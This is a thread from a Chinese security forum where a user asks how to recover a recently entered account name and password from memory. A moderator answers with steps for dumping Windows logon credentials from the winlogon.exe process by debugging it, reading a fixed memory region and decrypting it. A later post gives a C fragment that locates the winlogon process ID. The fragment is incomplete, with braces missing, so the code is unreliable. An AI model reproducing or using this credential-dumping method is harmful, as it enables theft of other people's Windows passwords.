论坛: 编程破解 标题: 请问怎样从内存中调出刚才输过的帐号和密码? 复制本贴地址    
作者: ww3128 [ww3128]    论坛用户   登录
RT


[此贴被 ww3128(ww3128) 在 06月25日19时04分 编辑过]

地主 发表时间: 06/25 17:15

回复: ww3128 [ww3128]   论坛用户   登录
没人知道吗?

B1层 发表时间: 06/25 17:51

回复: yjkj0448 [yjkj0448]   论坛用户   登录
是在什么系统中啊,是什么程序里的帐号和密码啊

如果是系统的(NT/2k/xp)可以用工具读出来

如果是其它类的软件可以用一般的内存编辑工具解出来

B2层 发表时间: 06/28 21:29

回复: 286 [unique]   版主   登录
1.找到winlogin.exe进程。
2.将其设置为调试模式,以便可以对其代码段内存进行查找。
3.在其内存的特定位置读出32个字节的代码。
4.将这段代码进行解密。
5.所解密的代码就是帐号和密码。


B3层 发表时间: 06/29 23:36

回复: lan [lan]   论坛用户   登录
楼上说的可是winlogon.exe,请问如何才能把它设置成调试模式呀.

B4层 发表时间: 06/30 05:05

回复: 286 [unique]   版主   登录
是winlogon.exe.


PQUERY_SYSTEM_INFORMATION QuerySystemInformationP=(PQUERY_SYSTEM_INFORMATION)InfoP; 
DWORD i; 
for (i=1;i<=NumHandles;i++) 

if (QuerySystemInformationP->HandleType==5) 

PVOID DebugBufferP=pfnRtlCreateQueryDebugBuffer(0,0); 
if (pfnRtlQueryProcessDebugInformation(QuerySystemInformationP->PID,1,DebugBufferP)==0) 

PPROCESS_INFO_HEADER ProcessInfoHeaderP=(PPROCESS_INFO_HEADER)((DWORD)DebugBufferP+0x60); 
DWORD Count=ProcessInfoHeaderP->Count; 
PPROCESS_INFO ProcessInfoP=(PPROCESS_INFO)((DWORD)ProcessInfoHeaderP+sizeof(PROCESS_INFO_HEADER)); 
if (strstr(_strupr(ProcessInfoP->Name),"WINLOGON")!=0) 

DWORD i; 
DWORD dw=(DWORD)ProcessInfoP; 
for (i=0;i<Count;i++) 

dw+=sizeof(PROCESS_INFO); 
ProcessInfoP=(PPROCESS_INFO)dw; 
if (strstr(_strupr(ProcessInfoP->Name),"NWGINA")!=0) 
return ""; 
if (strstr(_strupr(ProcessInfoP->Name),"MSGINA")==0) 
rc=QuerySystemInformationP->PID; 

if (DebugBufferP) 
pfnRtlDestroyQueryDebugBuffer(DebugBufferP); 
HeapFree(GetProcessHeap(),0,InfoP); 
break;


if (DebugBufferP) 
pfnRtlDestroyQueryDebugBuffer(DebugBufferP); 

DWORD dw=(DWORD)QuerySystemInformationP; 
dw+=sizeof(QUERY_SYSTEM_INFORMATION); 
QuerySystemInformationP=(PQUERY_SYSTEM_INFORMATION)dw; 


B5层 发表时间: 06/30 12:20

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号